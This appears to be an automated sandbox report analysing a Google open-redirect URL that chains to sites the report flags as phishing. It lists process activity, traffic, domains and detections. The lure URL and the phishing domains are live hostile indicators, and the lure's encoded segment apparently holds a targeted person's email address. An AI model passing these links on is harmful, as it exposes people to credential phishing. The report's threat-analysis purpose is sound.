Edit tour

Windows Analysis Report
https://www.google.pn/url?sa==a6bzuik1ma3dlpHqxRTACXaYHYI&rct=s7fFjO3jMe8ieQpeNofXnE7ZxaxKrm87scW4CKSzwd4Eiunz5jJ6j2AdElmCOMFCyq&sa=t&url=amp/s/deshshippinglines.com/demo/mode/IJulKkbhDRoCeYksSX62whnucNHhPavrd66HpTU/Z29ya2EuamltZW5lekBkZXZvbC5lcw==

Overview

General Information

Sample URL:	https://www.google.pn/url?sa==a6bzuik1ma3dlpHqxRTACXaYHYI&rct=s7fFjO3jMe8ieQpeNofXnE7ZxaxKrm87scW4CKSzwd4Eiunz5jJ6j2AdElmCOMFCyq&sa=t&url=amp/s/deshshippinglines.com/demo/mode/IJulKkbhDRoCeYksSX62whnu
Analysis ID:	1600457
Infos:

Detection

Score:	52
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

AI detected suspicious Javascript

Detected suspicious crossdomain redirect

Stores files to the Windows start menu directory

Uses insecure TLS / SSL version for HTTPS connection

Classification

Process Tree

System is w10x64

chrome.exe (PID: 3572 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 3424 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2296 --field-trial-handle=2248,i,13835440009713760261,2985736920505819972,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6172 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.google.pn/url?sa==a6bzuik1ma3dlpHqxRTACXaYHYI&rct=s7fFjO3jMe8ieQpeNofXnE7ZxaxKrm87scW4CKSzwd4Eiunz5jJ6j2AdElmCOMFCyq&sa=t&url=amp/s/deshshippinglines.com/demo/mode/IJulKkbhDRoCeYksSX62whnucNHhPavrd66HpTU/Z29ya2EuamltZW5lekBkZXZvbC5lcw==" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

HTTP traffic detected: POST /report/v4?s=%2F6ROHfEAEbc7x2dx%2BM4cZ7exDP81u%2Fj9itd0a6%2FlwJi0JyF1ZCOaeigw7ngWXDI4TdWYPFVGNjq1YGj0Wuw%2BlPX7TbIzxXnibU207UDQ7VpFUj2wLIGCNPAqU7%2FluwfYNodH4w%3D%3D HTTP/1.1Host: a.nel.cloudflare.comConnection: keep-aliveContent-Length: 427Content-Type: application/reports+jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 27 Jan 2025 14:44:55 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 27 Jan 2025 14:44:58 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=14400Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2F6ROHfEAEbc7x2dx%2BM4cZ7exDP81u%2Fj9itd0a6%2FlwJi0JyF1ZCOaeigw7ngWXDI4TdWYPFVGNjq1YGj0Wuw%2BlPX7TbIzxXnibU207UDQ7VpFUj2wLIGCNPAqU7%2FluwfYNodH4w%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Vary: Accept-Encodingalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=801&min_rtt=793&rtt_var=238&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2820&recv_bytes=1148&delivery_rate=4848920&cwnd=252&unsent_bytes=0&cid=57e550caeea798d9&ts=404&x=0"CF-Cache-Status: HITAge: 2485Server: cloudflareCF-RAY: 90898617cd2e8ca8-EWRserver-timing: cfL4;desc="?proto=TCP&rtt=2357&min_rtt=2314&rtt_var=955&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2833&recv_bytes=1894&delivery_rate=1096507&cwnd=164&unsent_bytes=0&cid=c4b22d9dd97ae036&ts=2660&x=0"

Source: chromecache_109.2.dr, chromecache_125.2.dr, chromecache_130.2.dr, chromecache_133.2.dr, chromecache_115.2.dr, chromecache_114.2.dr	String found in binary or memory: https://affiliate-program.amazon.com/gp/advertising/api/detail/main.html/ref=rm_c_ac
Source: chromecache_109.2.dr, chromecache_125.2.dr, chromecache_130.2.dr, chromecache_133.2.dr, chromecache_115.2.dr, chromecache_114.2.dr	String found in binary or memory: https://developer.amazonservices.com/ref=rm_c_sv
Source: chromecache_109.2.dr, chromecache_125.2.dr, chromecache_130.2.dr, chromecache_133.2.dr, chromecache_115.2.dr, chromecache_114.2.dr	String found in binary or memory: https://fls-na.amaz
Source: chromecache_125.2.dr	String found in binary or memory: https://fls-na.amazon.com/1/oc-csi/1/OP/requestId=84WJXV7DNH36VC70R49D&js=0
Source: chromecache_115.2.dr	String found in binary or memory: https://fls-na.amazon.com/1/oc-csi/1/OP/requestId=8X8C06JKXWY6YMEBFGW1&js=0
Source: chromecache_130.2.dr	String found in binary or memory: https://fls-na.amazon.com/1/oc-csi/1/OP/requestId=FX8PKVREDAYJTT4H6MBJ&js=0
Source: chromecache_109.2.dr	String found in binary or memory: https://fls-na.amazon.com/1/oc-csi/1/OP/requestId=JV24GEVQ6WQTM84SCTM8&js=0
Source: chromecache_133.2.dr	String found in binary or memory: https://fls-na.amazon.com/1/oc-csi/1/OP/requestId=V1VKF84K0QR66MXX6Z5J&js=0
Source: chromecache_114.2.dr	String found in binary or memory: https://fls-na.amazon.com/1/oc-csi/1/OP/requestId=Z2W5Q2NMT8ZFTHR536PX&js=0
Source: chromecache_133.2.dr	String found in binary or memory: https://images-na.ssl-images-amazon.com/captcha/bcxmjlko/Captcha_yeyjbrcolt.jpg
Source: chromecache_130.2.dr	String found in binary or memory: https://images-na.ssl-images-amazon.com/captcha/docvmtpr/Captcha_zqhwgudfzb.jpg
Source: chromecache_114.2.dr	String found in binary or memory: https://images-na.ssl-images-amazon.com/captcha/fmvtfjch/Captcha_pslxfojrtx.jpg
Source: chromecache_109.2.dr	String found in binary or memory: https://images-na.ssl-images-amazon.com/captcha/rhnrlggh/Captcha_fcrspsdsms.jpg
Source: chromecache_125.2.dr	String found in binary or memory: https://images-na.ssl-images-amazon.com/captcha/uyvnnjxx/Captcha_lfxcionvuw.jpg
Source: chromecache_115.2.dr	String found in binary or memory: https://images-na.ssl-images-amazon.com/captcha/wxvwzfzh/Captcha_gofzzllses.jpg
Source: chromecache_98.2.dr, chromecache_116.2.dr	String found in binary or memory: https://images-na.ssl-images-amazon.com/images/G/01/AUIClients/
Source: chromecache_109.2.dr, chromecache_125.2.dr, chromecache_130.2.dr, chromecache_133.2.dr, chromecache_115.2.dr, chromecache_114.2.dr	String found in binary or memory: https://images-na.ssl-images-amazon.com/images/G/01/AUIClients/AmazonUI-3c913031596ca78a3768f4e934b1
Source: chromecache_109.2.dr, chromecache_125.2.dr, chromecache_130.2.dr, chromecache_133.2.dr, chromecache_115.2.dr, chromecache_114.2.dr	String found in binary or memory: https://images-na.ssl-images-amazon.com/images/G/01/csminstrumentation/
Source: chromecache_98.2.dr, chromecache_116.2.dr	String found in binary or memory: https://images-na.ssl-images-amazon.com/images/G/01/csminstrumentation/ue-base-1c399ad9886cab69575e1
Source: chromecache_109.2.dr, chromecache_125.2.dr, chromecache_130.2.dr, chromecache_133.2.dr, chromecache_115.2.dr, chromecache_114.2.dr	String found in binary or memory: https://www.amazon.com/gp/help/customer/display.html/ref=footer_cou?ie=UTF8&nodeId=508088
Source: chromecache_109.2.dr, chromecache_125.2.dr, chromecache_130.2.dr, chromecache_133.2.dr, chromecache_115.2.dr, chromecache_114.2.dr	String found in binary or memory: https://www.amazon.com/gp/help/customer/display.html/ref=footer_privacy?ie=UTF8&nodeId=468496

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50054 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50065 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 50064 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49922
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 50063 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49918
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49912
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49911
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49910
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 50030 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443

Source: classification engine

Classification label: mal52.win@19/92@40/21

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2296 --field-trial-handle=2248,i,13835440009713760261,2985736920505819972,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.google.pn/url?sa==a6bzuik1ma3dlpHqxRTACXaYHYI&rct=s7fFjO3jMe8ieQpeNofXnE7ZxaxKrm87scW4CKSzwd4Eiunz5jJ6j2AdElmCOMFCyq&sa=t&url=amp/s/deshshippinglines.com/demo/mode/IJulKkbhDRoCeYksSX62whnucNHhPavrd66HpTU/Z29ya2EuamltZW5lekBkZXZvbC5lcw=="
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2296 --field-trial-handle=2248,i,13835440009713760261,2985736920505819972,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://www.google.pn/url?sa==a6bzuik1ma3dlpHqxRTACXaYHYI&rct=s7fFjO3jMe8ieQpeNofXnE7ZxaxKrm87scW4CKSzwd4Eiunz5jJ6j2AdElmCOMFCyq&sa=t&url=amp/s/deshshippinglines.com/demo/mode/IJulKkbhDRoCeYksSX62whnucNHhPavrd66HpTU/Z29ya2EuamltZW5lekBkZXZvbC5lcw==	0%	Avira URL Cloud	safe

Source	Detection	Scanner	Label
https://deshshippinglines.com/favicon.ico	0%	Avira URL Cloud	safe
https://y3.ackeoneye.com/lo92/	100%	Avira URL Cloud	phishing
https://v27bncxfmlahb4cndraeyexerpo6dunjyclmvgbp4g8o6oqsbi17rop.adlijari.ru/bEmTqrYUaHkPBUqKbdSeNlTEUUwROWNqUMGQBEHFEJZNTPHGLEVGQUDYTUZFTAGOETTRRZRXOXKTBOSDNUUYO	0%	Avira URL Cloud	safe
https://y3.ackeoneye.com/favicon.ico	100%	Avira URL Cloud	phishing
https://developer.amazonservices.com/ref=rm_c_sv	0%	Avira URL Cloud	safe

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Reputation
deshshippinglines.com	199.168.185.232	true	false	unknown
a.nel.cloudflare.com	35.190.80.1	true	false	high
www.google.pn	216.58.212.131	true	false	high
code.jquery.com	151.101.130.137	true	false	high
cdnjs.cloudflare.com	104.17.24.14	true	false	high
challenges.cloudflare.com	104.18.94.41	true	false	high
y3.ackeoneye.com	104.21.93.228	true	true	unknown
www.google.com	142.250.185.196	true	false	high
www-amazon-com.customer.fastly.net	162.219.225.118	true	false	high
c.media-amazon.com	108.138.16.195	true	false	high
d3ag4hukkh62yn.cloudfront.net	99.86.8.42	true	false	high
v27bncxfmlahb4cndraeyexerpo6dunjyclmvgbp4g8o6oqsbi17rop.adlijari.ru	188.114.97.3	true	false	unknown
endpoint.prod.us-east-1.forester.a2z.com	18.204.152.18	true	false	high
www.amazon.com	unknown	unknown	false	high
images-na.ssl-images-amazon.com	unknown	unknown	false	high
fls-na.amazon.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://www.amazon.com/favicon.ico	false		high
https://www.google.pn/amp/s/deshshippinglines.com/demo/mode/IJulKkbhDRoCeYksSX62whnucNHhPavrd66HpTU/Z29ya2EuamltZW5lekBkZXZvbC5lcw==	false		high
https://v27bncxfmlahb4cndraeyexerpo6dunjyclmvgbp4g8o6oqsbi17rop.adlijari.ru/bEmTqrYUaHkPBUqKbdSeNlTEUUwROWNqUMGQBEHFEJZNTPHGLEVGQUDYTUZFTAGOETTRRZRXOXKTBOSDNUUYO	false	Avira URL Cloud: safe	unknown
https://fls-na.amazon.com/1/oc-csi/1/OP/requestId=84WJXV7DNH36VC70R49D&js=1	false		high
https://code.jquery.com/jquery-3.6.0.min.js	false		high
https://y3.ackeoneye.com/favicon.ico	false	Avira URL Cloud: phishing	unknown
https://images-na.ssl-images-amazon.com/captcha/fmvtfjch/Captcha_pslxfojrtx.jpg	false		high
https://y3.ackeoneye.com/lo92/	true	Avira URL Cloud: phishing	unknown
https://www.amazon.com/errors/validateCaptcha?amzn=tsPwu3l9tzgnem5k5fj8Zw%3D%3D&amzn-r=%2F&field-keywords=	false		high
https://fls-na.amazon.com/1/oc-csi/1/OP/requestId=JV24GEVQ6WQTM84SCTM8&js=1	false		high
https://a.nel.cloudflare.com/report/v4?s=%2F6ROHfEAEbc7x2dx%2BM4cZ7exDP81u%2Fj9itd0a6%2FlwJi0JyF1ZCOaeigw7ngWXDI4TdWYPFVGNjq1YGj0Wuw%2BlPX7TbIzxXnibU207UDQ7VpFUj2wLIGCNPAqU7%2FluwfYNodH4w%3D%3D	false		high
https://deshshippinglines.com/favicon.ico	false	Avira URL Cloud: safe	unknown
